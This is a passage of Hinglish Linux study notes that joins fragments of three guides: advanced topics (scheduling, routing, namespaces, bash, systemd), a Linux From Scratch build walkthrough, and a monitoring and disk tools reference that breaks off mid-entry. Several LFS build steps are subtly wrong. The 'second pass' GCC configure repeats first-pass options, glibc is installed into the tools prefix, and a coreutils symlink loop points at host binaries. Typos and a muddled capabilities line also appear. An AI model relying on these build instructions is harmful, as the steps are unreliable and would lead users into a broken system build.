- Red-black tree based
- Fair time distribution
- vruntime (virtual runtime) tracking

Real-time policies:
SCHED_FIFO: First In First Out, higher priority runs until blocked
SCHED_RR: Round Robin, time slices
SCHED_DEADLINE: Earliest deadline first

Priorities:
- Nice values: -20 to 19 (lower = higher priority)
- Real-time: 1 to 99 (higher = higher priority)

Commands:
chrt -p PID (show scheduling policy)
chrt -f -p 50 PID (set FIFO priority 50)
chrt -r -p 80 PID (set RR priority 80)
nice -n -10 command (run with higher priority)

>> CPU Affinity

CPU affinity: Process ko specific CPU cores pe bind karna

Benefits:
- Cache locality
- Predictable performance
- Dedicated cores for critical apps

Commands:
taskset -p PID (show affinity)
taskset -c 0,2 ./program (run on CPU 0 and 2)
taskset -p 0x3 1234 (set affinity hex)

CPU isolation (isolcpus):
- Kernel parameter: isolcpus=2,3
- Isolated cores from scheduler
- Dedicated for specific applications

NUMA (Non-Uniform Memory Access):
numactl --hardware (show NUMA topology)
numactl --cpunodebind=0 --membind=0 ./program

>> Process States

Process states in Linux:

R (Running): Currently executing
S (Sleeping): Waiting for event
D (Uninterruptible sleep): Waiting for I/O, cannot be killed
T (Stopped): Suspended (Ctrl+Z)
Z (Zombie): Terminated, waiting for parent to reap

Process lifecycle:
fork() -> Child created
exec() -> Replace process image
wait() -> Parent waits for child
exit() -> Process terminates

Zombie process handling:
- Parent process needs to call wait()
- Orphan zombies can be reparented to init
- Kill parent to remove zombies

Commands:
ps aux (process list)
top/htop (interactive)
pstree (tree view)
kill -9 PID (force kill)
kill -15 PID (graceful kill)

6. Module 6: Advanced Networking

>> TCP/IP Stack Deep Dive

OSI Model layers:

7. Application: HTTP, SSH, FTP
6. Presentation: SSL/TLS
5. Session: Sockets
4. Transport: TCP, UDP
3. Network: IP, ICMP
2. Data Link: Ethernet, ARP
1. Physical: Cables, Fiber

TCP 3-way handshake:
Client -> SYN -> Server
Client <- SYN-ACK <- Server
Client -> ACK -> Server

TCP flags:
SYN: Synchronize, connection start
ACK: Acknowledgment
FIN: Finish, connection close
RST: Reset, connection abort
PSH: Push, immediate delivery
URG: Urgent data

TCP tuning:
net.ipv4.tcp_tw_reuse = 1 (reuse TIME_WAIT)
net.ipv4.tcp_fin_timeout = 30 (reduce timeout)
net.core.rmem_max = 134217728 (receive buffer)
net.core.wmem_max = 134217728 (send buffer)

>> Routing Tables

Routing table structure:

ip route show

Route types:
- Default route: 0.0.0.0/0
- Network route: 192.168.1.0/24
- Host route: 192.168.1.10/32

Route metrics:
- Lower metric = higher priority
- Metric based on interface speed, hop count

Add routes:
ip route add 10.0.0.0/8 via 192.168.1.1 dev eth0
ip route add default via 192.168.1.1

Policy routing:
echo 200 mytable >> /etc/iproute2/rt_tables
ip route add 10.0.0.0/8 via 192.168.1.1 table mytable
ip rule add from 192.168.1.100 table mytable

>> Network Namespaces

Network namespace isolation:

Create namespace:
ip netns add ns1

Run command in namespace:
ip netns exec ns1 bash

Virtual Ethernet (veth) pairs:
ip link add veth0 type veth peer name veth1
ip link set veth1 netns ns1

Assign IPs:
ip addr add 10.0.0.1/24 dev veth0
ip netns exec ns1 ip addr add 10.0.0.2/24 dev veth1

Bridge connection:
ip link add br0 type bridge
ip link set veth0 master br0

Use cases:
- Container networking (Docker)
- VPN isolation
- Network testing

Check:
ip netns list
ip netns exec ns1 ip addr

7. Module 7: Shell Scripting - Professional

>> Advanced Pattern Matching

Bash pattern matching:

Globbing:
* : Any characters
? : Single character
[abc] : Character class
[!abc] : Negated class
{1,2,3} : Brace expansion

Extended globbing (shopt -s extglob):
?(pattern) : Zero or one
*(pattern) : Zero or more
+(pattern) : One or more
@(pattern) : Exactly one
!(pattern) : Not pattern

Regular expressions in bash:
[[$string =~ ^[0-9]+$]] (numeric check)
[[$string =~ ^[a-zA-Z]+$]] (alphabetic)
[[$filename =~ \.(txt|log)$]] (file extension)

>> Process Substitution

Process substitution syntax:

<(command) : Output as file
>(command) : Input as file

Examples:
```
diff <(ls dir1) <(ls dir2)
while read line; do
    echo $line
done < <(grep error log.txt)

tee >(grep ERROR > errors.log) >(grep WARN > warns.log) < input.log
```

Use cases:
- Comparing outputs
- Parallel processing
- Avoiding temporary files

>> Advanced Debugging

Debugging techniques:

1. Set options:
set -x (trace commands)
set -v (print input lines)
set -n (read commands, don't execute)
set -e (exit on error)
set -u (unset variables error)
set -o pipefail (pipe errors)

2. Debug functions:
```
debug() {
    [[ $DEBUG ]] && echo "DEBUG: $*" >&2
}
DEBUG=1 script.sh
```

3. Bash debugger (bashdb):
```
bashdb script.sh
```

4. Shellcheck (static analysis):
shellcheck script.sh

5. PS4 prompt:
```
export PS4='+${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]} '
```

6. Trap errors:
```
trap 'echo "Error on line $LINENO"' ERR
```

>> Advanced Functions

Function features:

Return values:
```
function myfunc() {
    local result=$(($1 + $2))
    echo "$result"
    return $((result > 10 ? 0 : 1))
}
output=$(myfunc 5 3)
exit_code=$?
```

Local variables:
```
local var="value"
declare -i num (integer)
declare -r const (readonly)
declare -a arr (array)
declare -A assoc (associative array)
```

Function libraries:
```
#!/bin/bash
source ./lib.sh
```

Recursive functions:
```
factorial() {
    if [ $1 -le 1 ]; then
        echo 1
    else
        local prev=$(factorial $(($1 - 1)))
        echo $(($1 * prev))
    fi
}
```

8. Module 8: Systemd Deep Dive

>> Systemd Units

Unit types:

.service: Services
.socket: Socket activation
.target: Group of units
.timer: Timers (cron replacement)
.mount: Mount points
.automount: Auto-mount
.path: Path activation
.device: Device management

Unit file structure:
```
[Unit]
Description=My Service
Documentation=https://example.com
After=network.target
Requires=postgresql.service
Wants=redis.service
Conflicts=other.service

[Service]
Type=simple
User=myuser
Group=mygroup
WorkingDirectory=/opt/myapp
Environment="PATH=/usr/local/bin:$PATH"
EnvironmentFile=/etc/myapp/env
ExecStartPre=/usr/bin/check-config
ExecStart=/usr/bin/myapp
ExecReload=/bin/kill -HUP $MAINPID
ExecStop=/usr/bin/cleanup
Restart=on-failure
RestartSec=10
LimitNOFILE=65536

[Install]
WantedBy=multi-user.target
```

>> Socket Activation

Socket unit example:
```
[Unit]
Description=My App Socket

[Socket]
ListenStream=8080
Accept=yes

[Install]
WantedBy=sockets.target
```

Service unit:
```
[Unit]
Description=My App Service

[Service]
ExecStart=/usr/bin/myapp
StandardInput=socket
```

Benefits:
- Lazy startup (service starts on connection)

- Shared sockets across instances
- Graceful restart without dropping connections

>> Timers

Timer units (cron replacement):

OnCalendar syntax:
- *-*-* 00:00:00 (daily midnight)
- Mon..Fri 09:00:00 (weekdays 9am)
- *-*-* *:00/15:00 (every 15 minutes)
- hourly, daily, weekly, monthly

Timer file:
```
[Unit]
Description=Backup timer

[Timer]
OnCalendar=daily
OnBootSec=5min
OnUnitActiveSec=1h
Persistent=true

[Install]
WantedBy=timers.target
```

Commands:
```
systemctl list-timers
systemctl enable backup.timer
systemctl start backup.timer
```

>> Systemd Analysis

Performance analysis:

```
systemd-analyze (boot time)
systemd-analyze blame (unit startup time)
systemd-analyze critical-chain (dependency chain)
systemd-analyze plot > boot.svg (visual)
```

Journal analysis:
```
journalctl -b (current boot)
journalctl -b -1 (previous boot)
journalctl -k (kernel messages)
jouurnalctl -u service (unit logs)
journalctl --since "2024-01-01"
journalctl --disk-usage
```

Journal configuration:
```
/etc/systemd/journald.conf
SystemMaxUse=500M
MaxRetentionSec=1week
Compress=yes
```

9. Module 9: Security - Advanced

>> Linux Capabilities

Capabilities: Root privileges ka granular control

List capabilities:
capsh --print

Set capabilities:
setcap cap_net_bind_service+ep /usr/bin/nginx
setcap cap_dac_override+ep /usr/bin/backup

Check capabilities:
getcap /usr/bin/nginx

Common capabilities:
CAP_NET_BIND_SERVICE: Bind to privileged ports (<1024)
CAP_DAC_OVERRIDE: Bypass file permissions
CAP_SYS_ADMIN: System administration
CAP_SYS_PTRACE: Trace processes
CAP_SETUID: Change UID

Drop capabilities:
/usr/bin/ping: (none) (run with setuid)

Linux From Scratch Complete Guide

Build Your Own Linux Operating System from Source

Generated: 25-March-2026

1. LINUX FROM SCRATCH - INTRODUCTION

>> What is LFS

WHAT:

Linux From Scratch (LFS) ek project hai jisme aap source code se apna khud ka Linux operating system banate ho. Aap koi existing distribution use nahi karte, balki sab kuch manually compile karte ho - bootloader se lekar kernel, system libraries, aur basic tools tak.

WHY LFS:

1. Deep Understanding - Linux system kaise actually kaam karta hai yeh seekhoge
2. Complete Control - Exactly wahi packages install kar sakte ho jo chahiye
3. Optimization - Apne hardware ke liye fully optimized system ban sakta hai
4. Learning Experience - System programming, compilation, linking sab seekhoge
5. Customization - Embedded systems, servers, desktops sab bana sakte ho

---

>> Requirements

WHAT:

LFS build karne se pehle kya chahiye

REQUIREMENTS:

Hardware:
- Processor: 1 GHz+ (64-bit recommended)
- RAM: 2GB minimum (4GB+ recommended)
- Disk Space: 20GB free (LFS + BLFS ke liye)

Software:
- Existing Linux distribution (Ubuntu/Debian/Fedora)
- Working internet connection
- 4-6 hours continuous time for compilation

Knowledge:
- Basic Linux commands (ls, cd, mkdir, cp, mv, rm)
- Command line comfort
- Text editor (vim/nano)
- Patience and dedication

>> Directory Structure

WHAT:

LFS build ke liye folder structure

DIRECTORY STRUCTURE:

```
/mnt/lfs/                   # Main LFS mount point
|-- sources/                # Source code tarballs yahan rakhenge
|-- tools/                  # Temporary toolchain (first phase)
|-- cross-tools/            # Cross-compilation tools
|-- usr/                    # User binaries and libraries
|-- bin/                    # Essential system binaries
|-- lib/                    # System libraries
|-- etc/                    # Configuration files
|-- var/                    # Variable data (logs, spool)
|-- home/                   # User home directories
|-- boot/                   # Kernel and bootloader files
|-- proc/                   # Virtual filesystem
|-- sys/                    # Virtual filesystem
|-- dev/                    # Virtual filesystem
```

---

2. PARTITIONING AND FORMATTING

>> Partition Planning

WHAT:

Disk partitions kaise banayein

COMMANDS:

```
# Step 1: Check available disks
lsblk
fdisk -l
# Step 2: Create partition (example with /dev/sdb)
# Agar VM me kar rahe ho, naya virtual disk add karo
sudo fdisk /dev/sdb
# fdisk commands:
# n - new partition
# p - primary partition
# 1 - partition number
# Enter - default start
# +10G - size 10GB for LFS
# w - write changes
# Partition layout example:
# /dev/sdb1 - 10GB for LFS system (ext4)
# /dev/sdb2 - 2GB for swap (optional)
```

>> Formatting Partitions

WHAT:

Partitions ko format karna

COMMANDS:

```
# Format LFS partition as ext4
sudo mkfs.ext4 /dev/sdb1
# Format swap partition (if created)
sudo mkswap /dev/sdb2
sudo swapon /dev/sdb2
# Verify formatting
sudo blkid /dev/sdb1
```

>> Mounting Partitions

WHAT:

Partitions ko mount karna

COMMANDS:

```
# Create mount point
sudo mkdir -pv /mnt/lfs
# Mount LFS partition
sudo mount -v -t ext4 /dev/sdb1 /mnt/lfs
# Create necessary directories
sudo mkdir -pv /mnt/lfs/{sources,tools,cross-tools,usr,bin,lib,etc,var,home,boot,proc,sys,dev}
# Check mount
df -h /mnt/lfs
# If using swap
sudo swapon -v /dev/sdb2
```

---

3. DOWNLOADING SOURCES

>> Sources Download

WHAT:

Required source code packages download karna

COMMANDS:

```
# Create sources directory
cd /mnt/lfs/sources
# Download wget list (LFS official packages)
wget https://www.linuxfromscratch.org/lfs/view/stable/wget-list
# Download all packages
wget --input-file=wget-list --continue --directory-prefix=/mnt/lfs/sources
# Download md5sums for verification
wget https://www.linuxfromscratch.org/lfs/view/stable/md5sums
# Verify downloaded files
md5sum -c md5sums
# Extract all packages (optional, will extract as needed)
for file in *.tar.*; do
    tar -xf $file
done
```

>> Essential Packages

WHAT:

Important packages jo build karenge

PACKAGES:

* binutils-2.40 - Assembler, linker, object file utilities
* gcc-13.2.0 - GNU Compiler Collection (C, C++)
* glibc-2.38 - GNU C Library (core system library)
* linux-6.5 - Linux kernel
* coreutils-9.3 - Basic utilities (ls, cp, mv, rm, etc.)
* bash-5.2 - Bourne Again Shell
* make-4.4 - Build automation tool
* grep-3.11 - Text search utility
* sed-4.9 - Stream editor
* gawk-5.2 - Pattern scanning language
* findutils-4.9 - Find utilities
* procps-ng-4.0 - Process utilities

---

4. BUILDING THE TOOLCHAIN

>> What is Toolchain

WHAT:

Toolchain wo basic tools hai jo system build karne ke liye chahiye - compiler, assembler, linker, libraries. Pehle temporary toolchain banayenge, phir final system compile karenge.

STEPS:

* Step 1: Set environment variables
* Step 2: Build binutils (first pass)
* Step 3: Build gcc (first pass)
* Step 4: Build linux API headers
* Step 5: Build glibc
* Step 6: Build gcc (second pass)
* Step 7: Build binutils (second pass)

>> Environment Setup

WHAT:

LFS build environment variables set karna

COMMANDS:

```
# Create LFS user (not as root)
sudo groupadd lfs
sudo useradd -s /bin/bash -g lfs -m -k /dev/null lfs
sudo passwd lfs
# Give ownership to lfs user
sudo chown -v lfs /mnt/lfs/{sources,tools,cross-tools}
# Login as lfs user
su - lfs
# Create .bashrc file
cat > ~/.bashrc << 'EOF'
set +h
umask 022
LFS=/mnt/lfs
LC_ALL=POSIX
LFS_TGT=$(uname -m)-lfs-linux-gnu
PATH=/usr/bin
if [ ! -L /bin ]; then PATH=/bin:$PATH; fi
PATH=$LFS/tools/bin:$PATH
CONFIG_SITE=$LFS/usr/share/config.site
export LFS LC_ALL LFS_TGT PATH CONFIG_SITE
EOF
# Source the file
source ~/.bashrc
# Verify
echo $LFS
echo $LFS_TGT
```

>> Building Binutils (First Pass)

WHAT:

Binutils build karna - first pass

COMMANDS:

```
cd $LFS/sources
# Extract binutils
tar -xf binutils-2.40.tar.xz
cd binutils-2.40
# Create build directory
mkdir -v build
```

```
cd build
# Configure
../configure --prefix=$LFS/tools \
             --with-sysroot=$LFS \
             --target=$LFS_TGT \
             --disable-nls \
             --enable-gprofng=no \
             --disable-werror
# Compile
make
# Install
make install
# Clean up
cd $LFS/sources
rm -rf binutils-2.40
```

>> Building GCC (First Pass)

WHAT:

GCC compiler build karna - first pass

COMMANDS:

```
cd $LFS/sources
# Extract gcc
tar -xf gcc-13.2.0.tar.xz
cd gcc-13.2.0
# Download prerequisites
tar -xf ../mpfr-4.2.0.tar.xz
mv -v mpfr-4.2.0 mpfr
tar -xf ../gmp-6.3.0.tar.xz
mv -v gmp-6.3.0 gmp
tar -xf ../mpc-1.3.1.tar.gz
mv -v mpc-1.3.1 mpc
# For 64-bit systems
case $(uname -m) in
  x86_64)
    sed -e '/m64=/s/lib64/lib/' \
        -i.orig gcc/config/i386/t-linux64
  ;;
esac
# Create build directory
mkdir -v build
cd build
# Configure
../configure --target=$LFS_TGT \
             --prefix=$LFS/tools \
             --with-glibc-version=2.38 \
             --with-sysroot=$LFS \
             --with-newlib \
             --without-headers \
             --enable-default-pie \
             --enable-default-ssp \
             --disable-nls \
             --disable-shared \
             --disable-multilib \
             --disable-decimal-float \
             --disable-threads \
             --disable-libatomic \
             --disable-libgomp \
             --disable-libquadmath \
             --disable-libssp \
             --disable-libvtv \
             --disable-libstdcxx \
             --enable-languages=c,c++
# Compile
make
```

```
# Install
make install
# Clean up
cd $LFS/sources
rm -rf gcc-13.2.0
```

>> Linux API Headers

WHAT:

Linux kernel API headers install karna

COMMANDS:

```
cd $LFS/sources
# Extract kernel
tar -xf linux-6.5.tar.xz
cd linux-6.5
# Make headers
make mrproper
make headers
# Install headers
find usr/include -type f ! -name '*.h' -delete
cp -rv usr/include $LFS/usr
# Clean up
cd $LFS/sources
rm -rf linux-6.5
```

>> Building Glibc

WHAT:

Glibc (C Library) build karna - most important

COMMANDS:

```
cd $LFS/sources
# Extract glibc
tar -xf glibc-2.38.tar.xz
cd glibc-2.38
# Create build directory
mkdir -v build
cd build
# Configure
../configure --prefix=$LFS/tools \
             --host=$LFS_TGT \
             --build=$(../scripts/config.guess) \
             --enable-kernel=4.14 \
             --with-headers=$LFS/usr/include \
             libc_cv_slibdir=/usr/lib
# Compile
make
# Install
make install
# Clean up
cd $LFS/sources
rm -rf glibc-2.38
```

>> GCC (Second Pass)

WHAT:

GCC build karna - second pass (full compiler)

COMMANDS:

```
cd $LFS/sources
# Extract gcc
tar -xf gcc-13.2.0.tar.xz
cd gcc-13.2.0
# Copy prerequisites
```

```
tar -xf ../mpfr-4.2.0.tar.xz
mv -v mpfr-4.2.0 mpfr
tar -xf ../gmp-6.3.0.tar.xz
mv -v gmp-6.3.0 gmp
tar -xf ../mpc-1.3.1.tar.gz
mv -v mpc-1.3.1 mpc
# Create build directory
mkdir -v build
cd build
# Configure
../configure --prefix=$LFS/tools \
             --with-glibc-version=2.38 \
             --with-sysroot=$LFS \
             --with-newlib \
             --without-headers \
             --enable-default-pie \
             --enable-default-ssp \
             --disable-nls \
             --disable-shared \
             --disable-multilib \
             --disable-decimal-float \
             --disable-threads \
             --disable-libatomic \
             --disable-libgomp \
             --disable-libquadmath \
             --disable-libssp \
             --disable-libvtv \
             --disable-libstdcxx \
             --enable-languages=c,c++
# Compile
make
# Install
make install
# Clean up
cd $LFS/sources
rm -rf gcc-13.2.0
```

5. BUILDING LFS SYSTEM

>> Core System Packages

WHAT:

Main LFS system packages build karna

PACKAGES LIST:

1. glibc-2.38 - C library (already built)
2. zlib-1.3 - Compression library
3. binutils-2.40 - Binary utilities
4. gcc-13.2.0 - C/C++ compiler
5. coreutils-9.3 - Basic utilities
6. bash-5.2 - Shell
7. make-4.4 - Build tool
8. grep-3.11 - Search tool
9. sed-4.9 - Stream editor
10. gawk-5.2 - Pattern scanning
11. findutils-4.9 - Find utilities
12. procps-ng-4.0 - Process utilities

>> Building Coreutils

WHAT:

Coreutils build karna (ls, cp, mv, rm, etc.)

COMMANDS:

```
cd $LFS/sources
# Extract coreutils
tar -xf coreutils-9.3.tar.xz
cd coreutils-9.3
# Configure
./configure --prefix=/usr \
            --host=$LFS_TGT \
            --build=$(build-aux/config.guess) \
            --enable-install-program=hostname \
            --enable-no-install-program=kill,uptime
# Compile
make
# Install
make DESTDIR=$LFS install
# Move essential programs to /bin
mv -v $LFS/usr/bin/chroot $LFS/usr/sbin
mkdir -pv $LFS/usr/bin $LFS/bin
for i in /usr/bin/*; do
    ln -sv $i $LFS/bin/$(basename $i)
done
# Clean up
cd $LFS/sources
rm -rf coreutils-9.3
```

>> Building Bash

WHAT:

Bash shell build karna

COMMANDS:

```
cd $LFS/sources
# Extract bash
tar -xf bash-5.2.21.tar.gz
cd bash-5.2.21
```

```
# Configure
./configure --prefix=/usr \
            --build=$(sh support/config.guess) \
            --host=$LFS_TGT \
            --without-bash-malloc
# Compile
make
# Install
make DESTDIR=$LFS install
# Create symlink for sh
ln -sv bash $LFS/bin/sh
# Clean up
cd $LFS/sources
rm -rf bash-5.2.21
```

>> Building Kernel

WHAT:

Linux kernel compile karna

COMMANDS:

```
cd $LFS/sources
# Extract kernel
tar -xf linux-6.5.tar.xz
cd linux-6.5
# Clean previous builds
make mrproper
# Configure kernel (using default config)
make defconfig
# Or customize configuration
# make menuconfig
# Compile kernel
make
# Install modules
make modules_install INSTALL_MOD_PATH=$LFS
# Copy kernel image
cp -v arch/x86/boot/bzImage $LFS/boot/vmlinuz-6.5-lfs
# Copy System.map
cp -v System.map $LFS/boot/System.map-6.5
# Clean up
cd $LFS/sources
rm -rf linux-6.5
```

---

6. SYSTEM CONFIGURATION

>> Creating fstab

WHAT:

fstab file create karna (filesystem mount table)

COMMANDS:

```
# Create fstab file
cat > $LFS/etc/fstab << 'EOF'
# Begin /etc/fstab
# file system  mount-point  type     options         dump  fsck order
/dev/sdb1     /            ext4     defaults        1     1
/dev/sdb2     swap         swap     pri=1           0     0
proc          /proc        proc     nosuid,noexec,nodev 0     0
sysfs         /sys         sysfs    nosuid,noexec,nodev 0     0
devpts        /dev/pts     devpts   gid=5,mode=620  0     0
tmpfs         /run         tmpfs    defaults        0     0
devtmpfs      /dev         devtmpfs mode=0755,nosuid 0     0
# End /etc/fstab
EOF
```

>> Network Configuration

WHAT:

Network setup karna

COMMANDS:

```
# Create hostname file
echo "lfs" > $LFS/etc/hostname
# Create hosts file
cat > $LFS/etc/hosts << 'EOF'
# Begin /etc/hosts
127.0.0.1  localhost
::1        localhost
127.0.1.1  lfs
# End /etc/hosts
EOF
# Create network interface file
cat > $LFS/etc/systemd/network/10-eth0.network << 'EOF'
[Match]
Name=eth0
[Network]
DHCP=yes
EOF
```

>> Configuring Systemd

WHAT:

Systemd setup and configuration

COMMANDS:

```
# Create journald configuration
cat > $LFS/etc/systemd/journald.conf << 'EOF'
[Journal]
SystemMaxUse=50M
ForwardToSyslog=no
EOF
# Enable systemd services
chroot $LFS /usr/bin/systemctl enable systemd-networkd
chroot $LFS /usr/bin/systemctl enable systemd-resolved
```

>> Creating User Accounts

WHAT:

Root aur user accounts create karna

COMMANDS:

```
# Create root password
chroot $LFS /usr/bin/passwd root
# Create user
chroot $LFS /usr/sbin/useradd -m -G wheel -s /bin/bash username
# Set user password
chroot $LFS /usr/bin/passwd username
# Create groups
chroot $LFS /usr/sbin/groupadd -g 27 sudo
chroot $LFS /usr/sbin/usermod -a -G sudo username
```

---

7. INSTALLING BOOTLOADER

>> GRUB Installation

WHAT:

GRUB bootloader install karna

COMMANDS:

```
# Install GRUB (in chroot)
chroot $LFS /bin/bash << 'EOF'
# Create GRUB configuration directory
mkdir -pv /boot/grub
# Install GRUB to MBR
grub-install /dev/sdb
# Create GRUB configuration
cat > /boot/grub/grub.cfg << 'GRUB_CFG'
# Begin /boot/grub/grub.cfg
set default=0
set timeout=5
insmod part_msdos
insmod ext2
set root='hd0,msdos1'
menuentry "GNU/Linux, Linux 6.5-lfs" {
    linux   /boot/vmlinuz-6.5-lfs root=/dev/sdb1 ro
}
GRUB_CFG
EOF
# Exit chroot
exit
```

---

8. FINAL STEPS

>> Entering Chroot

WHAT:

Chroot environment me enter karna (final system)

COMMANDS:

```
# Before chroot, mount virtual filesystems
mount -v --bind /dev $LFS/dev
mount -v --bind /dev/pts $LFS/dev/pts
mount -vt proc proc $LFS/proc
mount -vt sysfs sysfs $LFS/sys
mount -vt tmpfs tmpfs $LFS/run
# If using UEFI
mount -vt efivarfs efivarfs $LFS/sys/firmware/efi/efivars
# Enter chroot
chroot $LFS /usr/bin/env -i \
    HOME=/root \
    TERM="$TERM" \
    PS1='(lfs chroot) \u:\w\$ ' \
    PATH=/usr/bin:/usr/sbin \
    /bin/bash --login
# In chroot, run
source /etc/profile
export LFS=/mnt/lfs
```

>> First Boot Preparation

WHAT:

First boot ke liye final setup

COMMANDS:

```
# Update library cache
ldconfig
# Set timezone
ln -sfv /usr/share/zoneinfo/Asia/Kolkata /etc/localtime
# Generate locale
locale -a
localedef -i en_US -f UTF-8 en_US.UTF-8
# Create machine-id
systemd-machine-id-setup
# Final cleanup
find /usr/lib /usr/libexec -name '*.la' -delete
rm -rf /tmp/*
# Exit chroot
exit
# Unmount filesystems
umount -v $LFS/dev/pts
umount -v $LFS/dev
umount -v $LFS/run
umount -v $LFS/proc
umount -v $LFS/sys
# Unmount LFS partition
umount -v $LFS
```

>> Reboot Into Your OS

WHAT:

Apne naye OS me reboot karna

COMMANDS:

```
# Remove LFS mount
sudo umount /mnt/lfs
```

```
# Reboot system
sudo reboot
# BIOS/UEFI me boot order set karo
# Select the disk where LFS installed
# After reboot, login as root
# Welcome to your own Linux From Scratch system!
```

---

9. COMMON ISSUES AND SOLUTIONS

>> Troubleshooting

WHAT:

Common errors aur unke solutions

TROUBLESHOOTING:

1. Compilation Error:
   Solution: Check dependencies, clean build directory, retry

2. Missing Library Error:
   Solution: Run 'ldconfig', check library paths

3. Kernel Panic on Boot:
   Solution: Check kernel config, recompile with necessary drivers

4. GRUB Error:
   Solution: Reinstall GRUB, check partition UUID

5. Network Not Working:
   Solution: Check network config, enable systemd-networkd

6. No Sound/Graphics:
   Solution: Install BLFS packages (alsa, xorg, etc.)

Linux Tools Guide

Complete Reference with Commands, Mistakes & Effects

Generated: 22-March-2026

Tools Covered

* 1. SYSTEM MONITORING TOOLS
* 2. DISK & STORAGE TOOLS
* 3. NETWORK TOOLS
* 4. TEXT PROCESSING POWER TOOLS
* 5. SYSTEM ADMIN TOOLS
* 6. SECURITY TOOLS
* 7. FILE TRANSFER & SYNC TOOLS
* 8. DEVELOPMENT TOOLS

1. SYSTEM MONITORING TOOLS

[htop]

WHAT:

System processes ka real-time monitor, top ka better version

HOW TO USE:

Terminal me 'htop' type karo. Colorful display, mouse support, easy process management.

COMMANDS:

```
htop                        : Start htop
F2                          : Setup/Configuration
F3                          : Search process
F4                          : Filter processes
F5                          : Tree view (parent-child relation)
F6                          : Sort by column
F9                          : Kill selected process
F10                         : Quit
Space                       : Tag process
u                           : Show user's processes only
/                           : Search
k                           : Kill process
t                           : Tree view
```

COMMON MISTAKES (AVOID THESE):

- Root user ke bina system processes kill mat karo - system hang ho sakta hai
- Critical processes (PID 1, kernel threads) ko force kill mat karo
- htop ko background me mat chhodo - resource consume karta hai

WHAT HAPPENS (EFFECTS):

htop run -> System processes dikhte hain, CPU/Memory usage dikhta hai

F9 + 15 + Enter -> Process ko gracefully terminate karta hai (SIGTERM)

F9 + 9 + Enter -> Process ko force kill karta hai (SIGKILL) - data loss ho sakta hai

F2 + Display options -> Display settings change hoti hain, next start tak save rehti hai

---

[iotop]

WHAT:

Disk I/O usage monitor - kaunsi process disk read/write kar rahi hai

HOW TO USE:

sudo iotop run karo. Shows read/write speed per process.

COMMANDS:

```
sudo iotop                  : Start iotop (needs root)
sudo iotop -o               : Show only processes doing I/O
sudo iotop -b -n 5          : Batch mode, 5 iterations
sudo iotop -d 2             : Update every 2 seconds
sudo iotop -u username      : Show specific user's processes
sudo iotop -P               : Show only processes (no threads)
```

COMMON MISTAKES (AVOID THESE):

- sudo ke bina mat chalao - saari processes nahi dikhengi
- High I/O wali process ko force kill mat karo - data corruption ho sakta hai
- Background me continuously mat chhodo - performance impact hota hai

WHAT HAPPENS (EFFECTS):

sudo iotop run -> Disk read/write speed per process dikhti hai

High I/O process kill -> Data loss ya corruption ho sakta hai

iotop -o -> Sirf active I/O wali processes dikhti hain, monitoring easy hoti hai

---

[nmon]

WHAT:

All-in-one system monitor - CPU, Memory, Network, Disk, Processes

HOW TO USE:

nmon run karo, phir keys press karo specific data dekhne ke liye.

COMMANDS:

```
nmon                        : Start nmon interactive
c                           : Show CPU stats
m                           : Show Memory stats
d                           : Show Disk stats
n                           : Show Network stats
t                           : Show Top processes
h                           : Show help
q                           : Quit
nmon -f -s 5 -c 12          : Save data to file, 5 sec interval, 12 times
```

COMMON MISTAKES (AVOID THESE):

- Saare stats ek saath mat dikhao - screen clutter ho jayegi
- File output me bahut lamba interval mat do - data missing ho sakta hai
- Production me high frequency monitoring mat karo - performance degrade hota hai

WHAT HAPPENS (EFFECTS):

Press c -> CPU usage dikhta hai (user, system, idle, wait)

Press m -> RAM usage dikhta hai (used, free, cache, swap)

Press d -> Disk read/write speed dikhti hai

nmon -f -> CSV file generate hoti hai, later analysis kar sakte ho

---

[glances]

WHAT:

Cross-platform system monitor, web interface bhi hai

HOW TO USE:

glances run karo, web mode bhi use kar sakte ho.

COMMANDS:

```
glances                     : Start glances
1                           : Show CPU per core
2                           : Show network interfaces
3                           : Show sensors (temperature)
a                           : Auto mode (sort processes)
q                           : Quit
glances -w                  : Start web server mode
glances -s                  : Start server mode
http://localhost:61208      : Browser me open karo web interface
```

COMMON MISTAKES (AVOID THESE):

- Web mode ko public network pe mat chhodo - security risk
- Sensors data nahi hai to warnings ignore mat karo - hardware issue ho sakta hai
- Resource limits mat bhoolo - glances bhi CPU consume karta hai

WHAT HAPPENS (EFFECTS):

glances run -> All system stats ek screen me dikhte hain (CPU, Memory, Disk, Network)

glances -w -> Web server start hota hai, browser se monitor kar sakte ho

Press a -> Processes automatically sort hoti hain by resource usage

---

2. DISK & STORAGE TOOLS

[ncdu]

WHAT:

Disk usage analyzer - kaunsi folder kitni space le rahi hai

HOW TO USE:

ncdu /path run karo, navigate with arrow keys.

COMMANDS:

```
ncdu /home                    : Analyze home directory
ncdu -x /                     : Don't cross filesystem boundaries
ncdu -o file.json             : Save scan to file
ncdu -f file.json             : Load from saved file
# Inside ncdu:
Arrow keys                    : Navigate
d                             : Delete selected item
r                             : Refresh
i                             : Show info
g                             : Show graph
q                             : Quit
```

COMMON MISTAKES (AVOID THESE):

- Root directory scan mat karo without reason - time lagta hai
- Delete option carefully use karo - confirmation nahi hoti
- Network drives scan mat karo - slow hota hai

WHAT HAPPENS (EFFECTS):

ncdu /home -> Home folder ka analysis hota hai, largest folders top pe dikhte hain

Press d -> Selected folder/file delete ho jati hai (PERMANENT!)

Press r -> Scan refresh hota hai, updated sizes dikhte hain

[fdisk]

WHAT:

Disk partition management tool

HOW TO USE:

sudo fdisk -l list ke liye, sudo fdisk /dev/sda edit ke liye.

COMMANDS:

```
sudo fdisk -l                 : List all partitions
sudo fdisk /dev/sda           : Edit partition table of /dev/sda
# Inside fdisk:
m                             : Show help
p                             : Print partition table
n                             : Create new partition
d                             : Delete partition
w                             : Write changes and exit
q                             : Quit without saving
t                             : Change partition type
```

COMMON MISTAKES (AVOID THESE):

- Kabhi bhi mounted disk partition mat karo - data corruption
- Changes write mat karo jab sure na ho - data loss
- Wrong partition type mat select karo - filesystem mount nahi hoga
- System disk (/) pe changes mat karo without backup

WHAT HAPPENS (EFFECTS):

sudo fdisk -l -> Saari disks aur partitions list hoti hain, sizes dikhte hain

n + w -> Naya partition create hota hai, disk layout change hota hai

d + w -> Partition delete hota hai, data permanently lost ho jata hai

q -> Changes save nahi hote, disk unchanged rehti hai

[lsblk]

WHAT:

List block devices - disks, partitions, mount points

HOW TO USE:

lsblk run karo, tree view me dikhta hai.

COMMANDS:

```
lsblk                        : Show all block devices in tree
lsblk -f                     : Show filesystem info
lsblk -m                     : Show permissions
